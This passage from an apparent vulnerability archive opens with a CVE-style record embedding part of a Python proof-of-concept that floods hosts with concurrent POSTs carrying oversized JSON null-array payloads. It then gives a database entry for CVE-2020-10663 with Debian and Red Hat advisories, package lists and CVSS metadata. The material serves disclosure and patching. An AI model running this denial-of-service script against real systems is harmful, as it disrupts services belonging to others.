config[\u0027max_collection_size\u0027] * 95 // 100\n    if recreate_payload or os.path.exists(config[\u0027payload_file\u0027]) == False:\n        with open(config[\u0027payload_file\u0027], \u0027w\u0027, encoding=\u0027utf-8\u0027) as file:\n            file.write(config[\u0027payload_left\u0027])\n            for i in range(1, sequential, 1):\n                file.write(f\u0027null,\u0027)\n            for i in range(sequential + 1, config[\u0027max_collection_size\u0027] + 1, config[\u0027step\u0027]):\n                file.write(\u0027null,\u0027)\n            file.write(config[\u0027payload_right\u0027])\n    with open(config[\u0027payload_file\u0027], \u0027r\u0027, encoding=\u0027utf-8\u0027) as file:\n        return file.read()\n\n\ndef make_request(url, data=None, cookie_string=None):\n    headers = {\n        \u0027User-Agent\u0027: \u0027Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) \nChrome/137.0.0.0 Safari/537.36\u0027,\n        \u0027Accept\u0027: \u0027application/json, text/javascript, */*; q=0.01\u0027,\n    }\n    # Caller-supplied headers first, then the required Content-Type so it wins.\n    headers.update(config[\u0027extra_headers\u0027])\n    if config[\u0027content_type\u0027]:\n        headers[\u0027Content-Type\u0027] = config[\u0027content_type\u0027]\n    if cookie_string:\n        headers[\u0027Cookie\u0027] = cookie_string\n\n    try:\n        session = requests.Session()\n        req = requests.Request(\n            \u0027POST\u0027,\n            url,\n            data=data if data else None,\n            headers=headers,\n        )\n        prepared = session.prepare_request(req)\n\n        # --- Print the exact request ---\n        # print(f\"{prepared.method} {prepared.path_url} HTTP/1.1\")\n        # for header, value in prepared.headers.items():\n        #     print(f\"{header}: {value}\")\n        # print()  # blank line separating headers from body\n        # if prepared.body:\n        #     # Print first 500 chars of body to avoid flooding the terminal\n        #     print(f\"[Body ({len(prepared.body)} bytes)]: {str(prepared.body)[:500]}\")\n        # print(\"=\" * 50)\n        # --------------------------------\n\n        response = session.send(prepared)\n        #print(f\u0027RRR: {response.status_code}\u0027)\n        #print(f\u0027FFF: {response.headers}\u0027)\n        #print(f\u0027DDD: {response.text}\u0027)\n        return response\n    except Exception as e:\n        print(f\u0027Error (at {datetime.now(timezone.utc).strftime(\"%Y%m%dT%H%M%SZ\")}): {e}\u0027)\n        return None\n\n\ndef run_concurrent_requests(url, data, num_threads, num_runs, cookie_string=None):\n    \"\"\"\n    Kicks off requests to run each query and then waits for the responses\n    collecting them into a list\n\n    Args:\n        url (str): URL to make requests to\n        data (str): The data to pass to the request\n        num_threads (int): Number of threads to use\n        num_runs (int): Number of requests to to make (in total)\n        cookie_string (str): Any cookies to include\n\n    Returns:\n        list[Response]: A list of responses\n    \"\"\"\n    with concurrent.futures.ThreadPoolExecutor(max_workers=num_threads) as executor:\n        futures = [executor.submit(make_request, url, data, cookie_string) for _ in range(num_runs)]\n        responses = [f.result() for f in concurrent.futures.as_completed(futures)]\n    return responses\n\n\ndef main():\n    # Clear our request/responses file\n    with open(\u0027request-responses.txt\u0027, \u0027w\u0027) as file:\n        pass\n\n    # Create a random value and set it across the requests\n    random_value = \u0027\u0027.join(random.choices(string.ascii_letters + string.digits, k=16))\n\n    # Running the attack\n    print(\u0027Running the attack...\u0027)\n    ## Exceed the maximum count for items in a Java collection\n    payload = get_payload(recreate_payload=config[\u0027recreate_payload\u0027])\n    for host in config[\u0027hosts\u0027]:\n        path = config[\u0027paths\u0027][0]\n        url = f\"https://{host}{path}\";\n        print(\n            f\"Attacking {url} with a payload of size {len(payload)} (using {payload.count(\u0027null,\u0027)} non-null \nentries)...\")\n\n        start_time = time.time()\n        responses = run_concurrent_requests(url, data=payload, num_threads=config[\u0027parallel_count\u0027],\n                                            num_runs=config[\u0027total_number_of_connections\u0027])\n        end_time = time.time()\n\n        counts = count_status_codes(responses)\n\n        # Print results\n        if counts[\u00274xx\u0027] \u003e 0:\n            print(f\"  {counts[\u00274xx\u0027]} 4xxs observed\")\n            for status in [\u0027400\u0027, \u0027402\u0027, \u0027403\u0027, \u0027404\u0027]:\n                if counts[status] \u003e 0:\n                    print(f\"    {counts[status]} {status}s observed\")\n            for status in [\u0027413\u0027]:\n                if counts[status] \u003e 0:\n                    print(f\"    {counts[status]} {status}s observed (reduce payload size)\")\n\n        print(\n            f\"    {counts[\u0027429\u0027]} 429s observed (out of {config[\u0027total_number_of_connections\u0027]} runs at a rate of \n{config[\u0027parallel_count\u0027]} concurrent threads)\")\n\n        if co"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T11:55:55Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/117"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/117"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://{host}{path}\""
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/117"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "JSON Deserialiser Unconstrained Resource Consumption Proof of Concept",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0096",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/117",
            "automated": true,
            "contentSha256": "19cbf491b9e597b72dad991fddb1b6590e2d29ed3076b03b24525c29c3183b32",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/117",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-29T00:11:02Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:22Z",
    "dateUpdated": "2026-09-11T11:55:55Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0096"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

    VAR-202004-0061

    Vulnerability from variot - Updated: 2026-03-09 21:09

    The JSON gem through 2.2.0 for Ruby, as used in Ruby 2.4 through 2.4.9, 2.5 through 2.5.7, and 2.6 through 2.6.5, has an Unsafe Object Creation Vulnerability. This is quite similar to CVE-2013-0269, but does not rely on poor garbage-collection behavior within Ruby. Specifically, use of JSON parsing methods can lead to creation of a malicious object within the interpreter, with adverse effects that are application-dependent. An attacker could exploit this vulnerability to forcibly create arbitrary objects on the target system. When parsing certain JSON documents, the json gem can be coerced into creating arbitrary objects in the target system.

    CVE-2020-10933

    Samuel Williams reported a flaw in the socket library which may lead
to exposure of possibly sensitive data from the interpreter.

    For the stable distribution (buster), these problems have been fixed in version 2.5.5-3+deb10u2.

    We recommend that you upgrade your ruby2.5 packages.

    For the detailed security status of ruby2.5 please refer to its security tracker page at: https://security-tracker.debian.org/tracker/ruby2.5

    Further information about Debian Security Advisories, how to apply these updates to your system and frequently asked questions can be found at: https://www.debian.org/security/

    Mailing list: debian-security-announce@lists.debian.org -----BEGIN PGP SIGNATURE-----

    iQKTBAEBCgB9FiEERkRAmAjBceBVMd3uBUy48xNDz0QFAl8F5jVfFIAAAAAALgAo aXNzdWVyLWZwckBub3RhdGlvbnMub3BlbnBncC5maWZ0aGhvcnNlbWFuLm5ldDQ2 NDQ0MDk4MDhDMTcxRTA1NTMxRERFRTA1NENCOEYzMTM0M0NGNDQACgkQBUy48xND z0RT1Q/9EmtF3l9EwsTqV0RaU0CvycnypEEHk0vahqwtDKe5m1j13RlbhU5PfeNm n8E4pzw30+zROL8vxrCBQbAkBLACJOD9GwnA1G5mUnga1m49+5TyHEfPTFDsZHZ7 XqWuIJiQpOaPAi9xlywyqxji8OHPND2NNtCF1xk3Mpfk/7Y5JNJjFPnQnprfB4Hf c8AMjgmjV4ElJ60ALpXQzP7snVs4S+LA+Qb2O7V05u8zW0ytiEGTJNKrdG/+Rkrm XKUrEwPJLOU9DlR1JDXD491tOSYGiQdS/vWNQsyGKArpdDbhAUOybWZinD6ZG0KR L7atC327+eNDhpIKcmS4jMRnoQwjmlgPK6m0YwF4mKmyL4lWKwqCddDnIfr7jRSq bW3esnLJatEJiUbcSLpuBn0qO5f6HYb1iRhXJDQlPsuySIjObkn+rim9Bvo0NOQZ SZx74Rv1KX/kYpU4KcZyoygRuuWzl3pPYRj5BYJOViDGIcSKay4w7oypLjSWg7b3 BQfKQ7MbIVIXLk27fS/mOKpG0uXM5cer7LGnZSovl+KQmgp4gBdtCpuzat7Jz3YI tJDwDSjfhUQu8Uew+6bnvDUJ+zFEp/fEly2ueZFSYkkPmWPMcaI3OIk/Q2dLt5ZX gC+Vad6gT/C2UBYZCxxcBTHOcAlImTQ/JPCQMOGrvZM6t7QouuA= =rTdk -----END PGP SIGNATURE----- . -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256

    ===================================================================== Red Hat Security Advisory

    Synopsis: Moderate: rh-ruby25-ruby security, bug fix, and enhancement update Advisory ID: RHSA-2021:2104-01 Product: Red Hat Software Collections Advisory URL: https://access.redhat.com/errata/RHSA-2021:2104 Issue date: 2021-05-25 CVE Names: CVE-2019-15845 CVE-2019-16201 CVE-2019-16254 CVE-2019-16255 CVE-2020-10663 CVE-2020-10933 CVE-2020-25613 CVE-2021-28965 =====================================================================

    1. Summary:

    An update for rh-ruby25-ruby is now available for Red Hat Software Collections.

    Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

    1. Relevant releases/architectures:

    Red Hat Software Collections for Red Hat Enterprise Linux Server (v. 7) - noarch, ppc64le, s390x, x86_64 Red Hat Software Collections for Red Hat Enterprise Linux Server EUS (v. 7.6) - noarch, ppc64le, s390x, x86_64 Red Hat Software Collections for Red Hat Enterprise Linux Server EUS (v. 7.7) - noarch, ppc64le, s390x, x86_64 Red Hat Software Collections for Red Hat Enterprise Linux Workstation (v. 7) - noarch, x86_64

    1. Description:

    Ruby is an extensible, interpreted, object-oriented, scripting language. It has features to process text files and to perform system management tasks.

    The following packages have been upgraded to a later upstream version: rh-ruby25-ruby (2.5.9). (BZ#1952998)

    Security Fix(es):

    • ruby: NUL injection vulnerability of File.fnmatch and File.fnmatch? (CVE-2019-15845)

    • ruby: Regular expression denial of service vulnerability of WEBrick's Digest authentication (CVE-2019-16201)

    • ruby: Code injection via command argument of Shell#test / Shell#[] (CVE-2019-16255)

    • rubygem-json: Unsafe object creation vulnerability in JSON (CVE-2020-10663)

    • ruby: BasicSocket#read_nonblock method leads to information disclosure (CVE-2020-10933)

    • ruby: Potential HTTP request smuggling in WEBrick (CVE-2020-25613)

    • ruby: XML round-trip vulnerability in REXML (CVE-2021-28965)

    • ruby: HTTP response splitting in WEBrick (CVE-2019-16254)

    For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

    Bug Fix(es):

    • rh-ruby25-ruby: Resolv::DNS: timeouts if multiple IPv6 name servers are given and address contains leading zero [rhscl-3] (BZ#1953001)

    • Solution:

    For details on how to apply this update, which includes the changes described in this advisory, refer to:

    https://access.redhat.com/articles/11258

    1. Package List:

    Red Hat Software Collections for Red Hat Enterprise Linux Server (v. 7):

    Source: rh-ruby25-ruby-2.5.9-9.el7.src.rpm

    noarch: rh-ruby25-ruby-doc-2.5.9-9.el7.noarch.rpm rh-ruby25-ruby-irb-2.5.9-9.el7.noarch.rpm rh-ruby25-rubygem-did_you_mean-1.2.0-9.el7.noarch.rpm rh-ruby25-rubygem-minitest-5.10.3-9.el7.noarch.rpm rh-ruby25-rubygem-net-telnet-0.1.1-9.el7.noarch.rpm rh-ruby25-rubygem-power_assert-1.1.1-9.el7.noarch.rpm rh-ruby25-rubygem-rake-12.3.3-9.el7.noarch.rpm rh-ruby25-rubygem-rdoc-6.0.1.1-9.el7.noarch.rpm rh-ruby25-rubygem-test-unit-3.2.7-9.el7.noarch.rpm rh-ruby25-rubygem-xmlrpc-0.3.0-9.el7.noarch.rpm rh-ruby25-rubygems-2.7.6.3-9.el7.noarch.rpm rh-ruby25-rubygems-devel-2.7.6.3-9.el7.noarch.rpm

    ppc64le: rh-ruby25-ruby-2.5.9-9.el7.ppc64le.rpm rh-ruby25-ruby-debuginfo-2.5.9-9.el7.ppc64le.rpm rh-ruby25-ruby-devel-2.5.9-9.el7.ppc64le.rpm rh-ruby25-ruby-libs-2.5.9-9.el7.ppc64le.rpm rh-ruby25-rubygem-bigdecimal-1.3.4-9.el7.ppc64le.rpm rh-ruby25-rubygem-io-console-0.4.6-9.el7.ppc64le.rpm rh-ruby25-rubygem-json-2.1.0-9.el7.ppc64le.rpm rh-ruby25-rubygem-openssl-2.1.2-9.el7.ppc64le.rpm rh-ruby25-rubygem-psych-3.0.2-9.el7.ppc64le.rpm

    s390x: rh-ruby25-ruby-2.5.9-9.el7.s390x.rpm rh-ruby25-ruby-debuginfo-2.5.9-9.el7.s390x.rpm rh-ruby25-ruby-devel-2.5.9-9.el7.s390x.rpm rh-ruby25-ruby-libs-2.5.9-9.el7.s390x.rpm rh-ruby25-rubygem-bigdecimal-1.3.4-9.el7.s390x.rpm rh-ruby25-rubygem-io-console-0.4.6-9.el7.s390x.rpm rh-ruby25-rubygem-json-2.1.0-9.el7.s390x.rpm rh-ruby25-rubygem-openssl-2.1.2-9.el7.s390x.rpm rh-ruby25-rubygem-psych-3.0.2-9.el7.s390x.rpm

    x86_64: rh-ruby25-ruby-2.5.9-9.el7.x86_64.rpm rh-ruby25-ruby-debuginfo-2.5.9-9.el7.x86_64.rpm rh-ruby25-ruby-devel-2.5.9-9.el7.x86_64.rpm rh-ruby25-ruby-libs-2.5.9-9.el7.x86_64.rpm rh-ruby25-rubygem-bigdecimal-1.3.4-9.el7.x86_64.rpm rh-ruby25-rubygem-io-console-0.4.6-9.el7.x86_64.rpm rh-ruby25-rubygem-json-2.1.0-9.el7.x86_64.rpm rh-ruby25-rubygem-openssl-2.1.2-9.el7.x86_64.rpm rh-ruby25-rubygem-psych-3.0.2-9.el7.x86_64.rpm

    Red Hat Software Collections for Red Hat Enterprise Linux Server EUS (v. 7.6):

    Source: rh-ruby25-ruby-2.5.9-9.el7.src.rpm

    noarch: rh-ruby25-ruby-doc-2.5.9-9.el7.noarch.rpm rh-ruby25-ruby-irb-2.5.9-9.el7.noarch.rpm rh-ruby25-rubygem-did_you_mean-1.2.0-9.el7.noarch.rpm rh-ruby25-rubygem-minitest-5.10.3-9.el7.noarch.rpm rh-ruby25-rubygem-net-telnet-0.1.1-9.el7.noarch.rpm rh-ruby25-rubygem-power_assert-1.1.1-9.el7.noarch.rpm rh-ruby25-rubygem-rake-12.3.3-9.el7.noarch.rpm rh-ruby25-rubygem-rdoc-6.0.1.1-9.el7.noarch.rpm rh-ruby25-rubygem-test-unit-3.2.7-9.el7.noarch.rpm rh-ruby25-rubygem-xmlrpc-0.3.0-9.el7.noarch.rpm rh-ruby25-rubygems-2.7.6.3-9.el7.noarch.rpm rh-ruby25-rubygems-devel-2.7.6.3-9.el7.noarch.rpm

    ppc64le: rh-ruby25-ruby-2.5.9-9.el7.ppc64le.rpm rh-ruby25-ruby-debuginfo-2.5.9-9.el7.ppc64le.rpm rh-ruby25-ruby-devel-2.5.9-9.el7.ppc64le.rpm rh-ruby25-ruby-libs-2.5.9-9.el7.ppc64le.rpm rh-ruby25-rubygem-bigdecimal-1.3.4-9.el7.ppc64le.rpm rh-ruby25-rubygem-io-console-0.4.6-9.el7.ppc64le.rpm rh-ruby25-rubygem-json-2.1.0-9.el7.ppc64le.rpm rh-ruby25-rubygem-openssl-2.1.2-9.el7.ppc64le.rpm rh-ruby25-rubygem-psych-3.0.2-9.el7.ppc64le.rpm

    s390x: rh-ruby25-ruby-2.5.9-9.el7.s390x.rpm rh-ruby25-ruby-debuginfo-2.5.9-9.el7.s390x.rpm rh-ruby25-ruby-devel-2.5.9-9.el7.s390x.rpm rh-ruby25-ruby-libs-2.5.9-9.el7.s390x.rpm rh-ruby25-rubygem-bigdecimal-1.3.4-9.el7.s390x.rpm rh-ruby25-rubygem-io-console-0.4.6-9.el7.s390x.rpm rh-ruby25-rubygem-json-2.1.0-9.el7.s390x.rpm rh-ruby25-rubygem-openssl-2.1.2-9.el7.s390x.rpm rh-ruby25-rubygem-psych-3.0.2-9.el7.s390x.rpm

    x86_64: rh-ruby25-ruby-2.5.9-9.el7.x86_64.rpm rh-ruby25-ruby-debuginfo-2.5.9-9.el7.x86_64.rpm rh-ruby25-ruby-devel-2.5.9-9.el7.x86_64.rpm rh-ruby25-ruby-libs-2.5.9-9.el7.x86_64.rpm rh-ruby25-rubygem-bigdecimal-1.3.4-9.el7.x86_64.rpm rh-ruby25-rubygem-io-console-0.4.6-9.el7.x86_64.rpm rh-ruby25-rubygem-json-2.1.0-9.el7.x86_64.rpm rh-ruby25-rubygem-openssl-2.1.2-9.el7.x86_64.rpm rh-ruby25-rubygem-psych-3.0.2-9.el7.x86_64.rpm

    Red Hat Software Collections for Red Hat Enterprise Linux Server EUS (v. 7.7):

    Source: rh-ruby25-ruby-2.5.9-9.el7.src.rpm

    noarch: rh-ruby25-ruby-doc-2.5.9-9.el7.noarch.rpm rh-ruby25-ruby-irb-2.5.9-9.el7.noarch.rpm rh-ruby25-rubygem-did_you_mean-1.2.0-9.el7.noarch.rpm rh-ruby25-rubygem-minitest-5.10.3-9.el7.noarch.rpm rh-ruby25-rubygem-net-telnet-0.1.1-9.el7.noarch.rpm rh-ruby25-rubygem-power_assert-1.1.1-9.el7.noarch.rpm rh-ruby25-rubygem-rake-12.3.3-9.el7.noarch.rpm rh-ruby25-rubygem-rdoc-6.0.1.1-9.el7.noarch.rpm rh-ruby25-rubygem-test-unit-3.2.7-9.el7.noarch.rpm rh-ruby25-rubygem-xmlrpc-0.3.0-9.el7.noarch.rpm rh-ruby25-rubygems-2.7.6.3-9.el7.noarch.rpm rh-ruby25-rubygems-devel-2.7.6.3-9.el7.noarch.rpm

    ppc64le: rh-ruby25-ruby-2.5.9-9.el7.ppc64le.rpm rh-ruby25-ruby-debuginfo-2.5.9-9.el7.ppc64le.rpm rh-ruby25-ruby-devel-2.5.9-9.el7.ppc64le.rpm rh-ruby25-ruby-libs-2.5.9-9.el7.ppc64le.rpm rh-ruby25-rubygem-bigdecimal-1.3.4-9.el7.ppc64le.rpm rh-ruby25-rubygem-io-console-0.4.6-9.el7.ppc64le.rpm rh-ruby25-rubygem-json-2.1.0-9.el7.ppc64le.rpm rh-ruby25-rubygem-openssl-2.1.2-9.el7.ppc64le.rpm rh-ruby25-rubygem-psych-3.0.2-9.el7.ppc64le.rpm

    s390x: rh-ruby25-ruby-2.5.9-9.el7.s390x.rpm rh-ruby25-ruby-debuginfo-2.5.9-9.el7.s390x.rpm rh-ruby25-ruby-devel-2.5.9-9.el7.s390x.rpm rh-ruby25-ruby-libs-2.5.9-9.el7.s390x.rpm rh-ruby25-rubygem-bigdecimal-1.3.4-9.el7.s390x.rpm rh-ruby25-rubygem-io-console-0.4.6-9.el7.s390x.rpm rh-ruby25-rubygem-json-2.1.0-9.el7.s390x.rpm rh-ruby25-rubygem-openssl-2.1.2-9.el7.s390x.rpm rh-ruby25-rubygem-psych-3.0.2-9.el7.s390x.rpm

    x86_64: rh-ruby25-ruby-2.5.9-9.el7.x86_64.rpm rh-ruby25-ruby-debuginfo-2.5.9-9.el7.x86_64.rpm rh-ruby25-ruby-devel-2.5.9-9.el7.x86_64.rpm rh-ruby25-ruby-libs-2.5.9-9.el7.x86_64.rpm rh-ruby25-rubygem-bigdecimal-1.3.4-9.el7.x86_64.rpm rh-ruby25-rubygem-io-console-0.4.6-9.el7.x86_64.rpm rh-ruby25-rubygem-json-2.1.0-9.el7.x86_64.rpm rh-ruby25-rubygem-openssl-2.1.2-9.el7.x86_64.rpm rh-ruby25-rubygem-psych-3.0.2-9.el7.x86_64.rpm

    Red Hat Software Collections for Red Hat Enterprise Linux Workstation (v. 7):

    Source: rh-ruby25-ruby-2.5.9-9.el7.src.rpm

    noarch: rh-ruby25-ruby-doc-2.5.9-9.el7.noarch.rpm rh-ruby25-ruby-irb-2.5.9-9.el7.noarch.rpm rh-ruby25-rubygem-did_you_mean-1.2.0-9.el7.noarch.rpm rh-ruby25-rubygem-minitest-5.10.3-9.el7.noarch.rpm rh-ruby25-rubygem-net-telnet-0.1.1-9.el7.noarch.rpm rh-ruby25-rubygem-power_assert-1.1.1-9.el7.noarch.rpm rh-ruby25-rubygem-rake-12.3.3-9.el7.noarch.rpm rh-ruby25-rubygem-rdoc-6.0.1.1-9.el7.noarch.rpm rh-ruby25-rubygem-test-unit-3.2.7-9.el7.noarch.rpm rh-ruby25-rubygem-xmlrpc-0.3.0-9.el7.noarch.rpm rh-ruby25-rubygems-2.7.6.3-9.el7.noarch.rpm rh-ruby25-rubygems-devel-2.7.6.3-9.el7.noarch.rpm

    x86_64: rh-ruby25-ruby-2.5.9-9.el7.x86_64.rpm rh-ruby25-ruby-debuginfo-2.5.9-9.el7.x86_64.rpm rh-ruby25-ruby-devel-2.5.9-9.el7.x86_64.rpm rh-ruby25-ruby-libs-2.5.9-9.el7.x86_64.rpm rh-ruby25-rubygem-bigdecimal-1.3.4-9.el7.x86_64.rpm rh-ruby25-rubygem-io-console-0.4.6-9.el7.x86_64.rpm rh-ruby25-rubygem-json-2.1.0-9.el7.x86_64.rpm rh-ruby25-rubygem-openssl-2.1.2-9.el7.x86_64.rpm rh-ruby25-rubygem-psych-3.0.2-9.el7.x86_64.rpm

    These packages are GPG signed by Red Hat for security. Our key and details on how to verify the signature are available from https://access.redhat.com/security/team/key/

    1. References:

    https://access.redhat.com/security/cve/CVE-2019-15845 https://access.redhat.com/security/cve/CVE-2019-16201 https://access.redhat.com/security/cve/CVE-2019-16254 https://access.redhat.com/security/cve/CVE-2019-16255 https://access.redhat.com/security/cve/CVE-2020-10663 https://access.redhat.com/security/cve/CVE-2020-10933 https://access.redhat.com/security/cve/CVE-2020-25613 https://access.redhat.com/security/cve/CVE-2021-28965 https://access.redhat.com/security/updates/classification/#moderate

    1. Contact:

    The Red Hat security contact is secalert@redhat.com. More contact details at https://access.redhat.com/security/team/contact/

    Copyright 2021 Red Hat, Inc. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1

    iQIVAwUBYKz4Z9zjgjWX9erEAQiSGhAAolhk0URp2zYTGrVhSmNdAVBtSoAd6btc ddv/r5SiXmDuIVM9yUYeLkG62c0cLJOEKENN5ejBg0okwi4sEyd0qOQOEEGB0hSb qGtsePb5k8qDrS8jadaYBldgEhzE9wOKpZHet5+P+NPVTlLmbwNs7feeP5pTjoiv tacVQgkEsyNyQk1EtOm7IZpdoYwc2oQcA490c3ydG+LKBC/Sw6y3UeugEc1uhQl4 Da0VzGlK3wBd33hT5Sr/8hYZsjUUGKTUmmyuWomN3oJJzxCO3JEj0MY1P9O5ADmN 3KQ8jOe4eYW9XK51JqUoKuSLViTNiZLYUiNJmG7jEh1/aRcbPSm4wns467vb9xzC zaAhS4vXnLSTJw7sUrAqudN+pvmH9qcHJ3/RtSaYOQNU01uyy6r2XTSXcOXKmkYa qBv3WmxnPgRR9H2jczj9Qvnqt7TjhiTE1sceAPDEmUY00TFC4hmcons3vleqxI1s nJi5oKmns3+POTiurLDkoiK5wVY2Uexos8D5sA7PsKIuve3UNeOOzm6OVRp60eqF MusHiyR0SG+C2cICx1zog5Z2k1FSI0s/yGprY61qxZAsA+znaJeAFCjlDJPoeoTK lfBP2x/L7KD40pq2LmuE8Y3oEHeF4D5K5yCXJIFxKHrCUFafD++U8GzXd2vjWTxu VVreNcSVN/E= =m8n+ -----END PGP SIGNATURE-----

    -- RHSA-announce mailing list RHSA-announce@redhat.com https://listman.redhat.com/mailman/listinfo/rhsa-announce . 8) - aarch64, noarch, ppc64le, s390x, x86_64

    Bug Fix(es):

    • [GUI] Colocation constraint can't be added (BZ#1840157)

    • 8) - ppc64le, s390x, x86_64

    • Description:

    The pcs packages provide a command-line configuration system for the Pacemaker and Corosync utilities.

    Bug Fix(es):

    • pcs status on remotes is not working on rhel8.2 any longer (BZ#1832914)

    • pcs cluster stop --all throws errors and doesn't seem to honor the request-timeout option (BZ#1838084)

    • [GUI] Colocation constraint can't be added (BZ#1840158)

    • Bugs fixed (https://bugzilla.redhat.com/):

    1827500 - CVE-2020-10663 rubygem-json: Unsafe Object Creation Vulnerability in JSON 1832914 - pcs status on remotes is not working on rhel8.2 any longer [rhel-8.2.0.z] 1838084 - pcs cluster stop --all throws errors and doesn't seem to honor the request-timeout option [rhel-8.2.0.z] 1840158 - [GUI] Colocation constraint can't be added [rhel-8.2.0.z]

    6

    Show details on source website
    To clipboard 

    {
  "affected_products": {
    "_id": null,
    "data": [
      {
        "_id": null,
        "model": "linux",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "debian",
        "version": "8.0"
      },
      {
        "_id": null,
        "model": "fedora",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "fedoraproject",
        "version": "30"
      },
      {
        "_id": null,
        "model": "linux",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "debian",
        "version": "10.0"
      },
      {
        "_id": null,
        "model": "macos",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "apple",
        "version": "11.0.1"
      },
      {
        "_id": null,
        "model": "leap",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "opensuse",
        "version": "15.1"
      },
      {
        "_id": null,
        "model": "fedora",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "fedoraproject",
        "version": "31"
      },
      {
        "_id": null,
        "model": "json",
        "scope": "lte",
        "trust": 1.0,
        "vendor": "json",
        "version": "2.2.0"
      },
      {
        "_id": null,
        "model": "gnu/linux",
        "scope": null,
        "trust": 0.8,
        "vendor": "debian",
        "version": null
      },
      {
        "_id": null,
        "model": "fedora",
        "scope": null,
        "trust": 0.8,
        "vendor": "fedora",
        "version": null
      },
      {
        "_id": null,
        "model": "json",
        "scope": "eq",
        "trust": 0.8,
        "vendor": "json",
        "version": "2.2.0"
      },
      {
        "_id": null,
        "model": "leap",
        "scope": null,
        "trust": 0.8,
        "vendor": "opensuse",
        "version": null
      }
    ],
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2020-005087"
      },
      {
        "db": "NVD",
        "id": "CVE-2020-10663"
      }
    ]
  },
  "configurations": {
    "_id": null,
    "data": [
      {
        "CVE_data_version": "4.0",
        "nodes": [
          {
            "cpe_match": [
              {
                "cpe22Uri": "cpe:/o:debian:debian_linux",
                "vulnerable": true
              },
              {
                "cpe22Uri": "cpe:/o:fedoraproject:fedora",
                "vulnerable": true
              },
              {
                "cpe22Uri": "cpe:/a:json_project:json",
                "vulnerable": true
              },
              {
                "cpe22Uri": "cpe:/o:opensuse_project:leap",
                "vulnerable": true
              }
            ],
            "operator": "OR"
          }
        ]
      }
    ],
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2020-005087"
      }
    ]
  },
  "credits": {
    "_id": null,
    "data": "Red Hat",
    "sources": [
      {
        "db": "PACKETSTORM",
        "id": "162764"
      },
      {
        "db": "PACKETSTORM",
        "id": "163317"
      },
      {
        "db": "PACKETSTORM",
        "id": "162953"
      },
      {
        "db": "PACKETSTORM",
        "id": "158184"
      },
      {
        "db": "PACKETSTORM",
        "id": "158023"
      },
      {
        "db": "PACKETSTORM",
        "id": "158018"
      },
      {
        "db": "PACKETSTORM",
        "id": "166070"
      }
    ],
    "trust": 0.7
  },
  "cve": "CVE-2020-10663",
  "cvss": {
    "_id": null,
    "data": [
      {
        "cvssV2": [
          {
            "accessComplexity": "LOW",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "nvd@nist.gov",
            "availabilityImpact": "NONE",
            "baseScore": 5.0,
            "confidentialityImpact": "NONE",
            "exploitabilityScore": 10.0,
            "id": "CVE-2020-10663",
            "impactScore": 2.9,
            "integrityImpact": "PARTIAL",
            "severity": "MEDIUM",
            "trust": 1.1,
            "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N",
            "version": "2.0"
          },
          {
            "acInsufInfo": null,
            "accessComplexity": "Low",
            "accessVector": "Network",
            "authentication": "None",
            "author": "NVD",
            "availabilityImpact": "None",
            "baseScore": 5.0,
            "confidentialityImpact": "None",
            "exploitabilityScore": null,
            "id": "JVNDB-2020-005087",
            "impactScore": null,
            "integrityImpact": "Partial",
            "obtainAllPrivilege": null,
            "obtainOtherPrivilege": null,
            "obtainUserPrivilege": null,
            "severity": "Medium",
            "trust": 0.8,
            "userInteractionRequired": null,
            "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N",
            "version": "2.0"
          },
          {
            "accessComplexity": "LOW",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "VULHUB",
            "availabilityImpact": "NONE",
            "baseScore": 5.0,
            "confidentialityImpact": "NONE",
            "exploitabilityScore": 10.0,
            "id": "VHN-163164",
            "impactScore": 2.9,
            "integrityImpact": "PARTIAL",
            "severity": "MEDIUM",
            "trust": 0.1,
            "vectorString": "AV:N/AC:L/AU:N/C:N/I:P/A:N",
            "version": "2.0"
          }
        ],
        "cvssV3": [
          {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "author": "nvd@nist.gov",
            "availabilityImpact": "NONE",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "exploitabilityScore": 3.9,
